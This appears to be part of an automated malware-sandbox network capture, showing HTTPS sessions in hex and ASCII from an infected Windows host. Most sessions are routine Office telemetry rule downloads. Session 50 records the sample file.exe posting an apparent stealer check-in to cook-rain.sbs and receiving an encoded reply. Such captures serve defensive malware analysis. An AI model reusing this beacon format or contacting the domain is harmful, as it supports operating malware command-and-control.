20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:16 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:16 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:16 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: a1d815ed-301e-0096-3f8c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231916Z-1777c6cb754b7tdghC1TEBwwa40000000900000000000v57 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:16 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49759	188.114.97.3	443	5128	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:17 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: cook-rain.sbs
2024-11-19 23:19:17 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 44 46 35 44 46 36 39 44 36 35 41 45 42 33 41 43 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=DF5DF69D65AEB3AC63CFCF7E6C45F838
2024-11-19 23:19:17 UTC	988	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0ah4g6k3k6flbk91e8apcal79d; expires=Sat, 15-Mar-2025 17:05:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mE6UfApribgUtf6XiI4gU2%2Fh%2BENBGl4bTTManYJgOjj1Z6pOm%2B3CFzcsPOeZod%2Fove0mm%2BTRfQHUV5H1Kd0MAEY4ns2dOPXWXe6EhccrRrKv%2Fm6wfJCCTZ%2FlWUr7lzTA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e53ec9c79960f7f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1749&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=985&delivery_rate=1676234&cwnd=242&unsent_bytes=0&cid=5e850026d3b7a88a&ts=449&x=0"
2024-11-19 23:19:17 UTC	214	IN	Data Raw: 64 30 0d 0a 6e 38 77 35 36 61 4d 75 42 44 37 39 62 38 41 52 46 52 57 41 70 49 6d 56 46 63 79 66 39 35 37 42 64 76 76 6f 38 4f 51 47 41 5a 54 45 74 78 75 63 67 52 51 6d 56 6f 6b 62 73 43 74 4a 4f 74 79 4c 75 4b 30 67 34 71 33 47 71 2b 39 48 79 74 76 65 31 54 42 64 75 2f 43 71 58 37 57 4d 53 6d 46 59 30 77 71 34 64 44 63 35 6f 73 4c 39 74 79 2f 38 73 39 58 37 34 30 7a 4b 6c 64 79 66 4a 48 53 32 70 65 35 52 6e 64 64 65 50 6d 4c 53 4d 2b 38 67 4c 53 43 75 6c 72 69 67 4f 2f 32 75 78 4c 44 77 51 4b 66 48 67 35 42 6a 59 50 6e 44 34 30 75 49 7a 55 70 72 55 39 4d 4b 75 48 51 33 4f 61 4c 43 2f 62 63 76 2f 4c 50 56 2b 2b 4e 4d 79 70 57 74 0d 0a Data Ascii: d0n8w56aMuBD79b8ARFRWApImVFcyf957Bdvvo8OQGAZTEtxucgRQmVokbsCtJOtyLuK0g4q3Gq+9Hytve1TBdu/CqX7WMSmFY0wq4dDc5osL9ty/8s9X740zKldyfJHS2pe5RnddePmLSM+8gLSCulrigO/2uxLDwQKfHg5BjYPnD40uIzUprU9MKuHQ3OaLC/bcv/LPV++NMypWt
2024-11-19 23:19:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:17 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:17 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:17 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 62f36519-501e-0016-468c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231917Z-1777c6cb754rz2pghC1TEBghen00000008k000000000nvbn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:17 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:17 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:17 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:17 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: e456cfdf-c01e-0014-248c-3aa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231917Z-r1d97b9957789nh9hC1TEBxha8000000084000000000cybb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:17 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:17 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:17 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:17 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: c1a1e3cb-901e-005b-1f8c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231917Z-185f5d8b95cmd8vfhC1NYC0g4000000005cg000000001dwk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:17 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:17 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:17 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:17 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 5b8b83f7-201e-0033-0b8c-3ab167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231917Z-1777c6cb754dqf99hC1TEB5nps00000008pg000000005bp5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:17 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:17 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:17 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:17 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 7511d71d-801e-0083-6e8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231917Z-1777c6cb754gvvgfhC1TEBz4rg00000008sg00000000gu7a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:17 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:18 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:18 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a1cdeef9-f01e-0020-348c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231918Z-r1d97b99577n4dznhC1TEBc1qw0000000820000000009stn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:18 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:18 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:18 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: b82dc135-b01e-0053-1a8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231918Z-1777c6cb754b7tdghC1TEBwwa400000008xg0000000089n9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:18 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:18 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:18 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0514cbb3-901e-00ac-0281-3ab69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231918Z-185f5d8b95cgrrn8hC1NYCgwh4000000099g000000007xxx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:18 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:18 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:18 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231918Z-r1d97b995777mdbwhC1TEBezag00000007w000000000pzpb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:18 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:18 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
